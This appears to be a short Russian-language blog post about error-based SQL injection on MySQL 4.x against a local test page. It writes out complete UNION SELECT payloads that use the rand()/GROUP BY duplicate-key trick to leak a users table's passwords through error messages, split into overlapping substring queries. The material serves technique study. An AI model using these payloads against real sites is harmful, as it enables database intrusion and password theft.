Сегодня столкнулся с реализацией вывода полезной информации из БД через инъекцию в сообщению об ошибке.
Воспользовался техниками Qwazar, здоровья ему и попутного ветра.
Версия СУБД была 4ой, поэтому идея с rand(0) (в комметариях Д.Евтеева) отвалилась, использовал вероятностный подход.
Результат функции version() попал в ошибку практически сразу, а вот на этапе получения данных пришлось труднее.
Общаясь параллельно с Д.Евтеевым, мы быстро прикинули, что где-то есть подстава, потому как чудес не свете не бывает
Сначала мысль была, что на моей подопытной СУБД не выходит доставать в ошибку именно текстовые поля, потому что ID туда нормально попадало.
Но после нескольких экспериментов стало ясно, что в ошибку не идет именно текст из-за его длины, в итоге запрос типа:
http://localhost/sql.php?id=1+UNION+select+1,count(*),
concat((select pass from users limit 1),0x3a,
floor(rand()*2))+x+from+users+group+by+x
Пришлось разбить на 4 запроса:
http://localhost/sql.php?id=1+UNION+select+1,count(*),
concat((select substring(pass,1,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x
http://localhost/sql.php?id=1+UNION+select+1,count(*),
concat((select substring(pass,8,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x
http://localhost/sql.php?id=1+UNION+select+1,count(*),
concat((select substring(pass,16,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x
http://localhost/sql.php?id=1+UNION+select+1,count(*),
concat((select substring(pass,24,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x
Возможно, удалось бы и на 3, не проверял, точно могу сказать, что 16 символов уже не пролезает.
Таким образом, либо вероятность длинного запроса на версии 4.1 очень мала (1000 запросов прошли без ошибки), либо просто не выходит внести в сообщение об ошибке большое количество символов (8<=x<16).
Причины такого странного поведения можно пообсуждать, в то, что вероятность зависит от длины как-то совсем не вериться.
http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x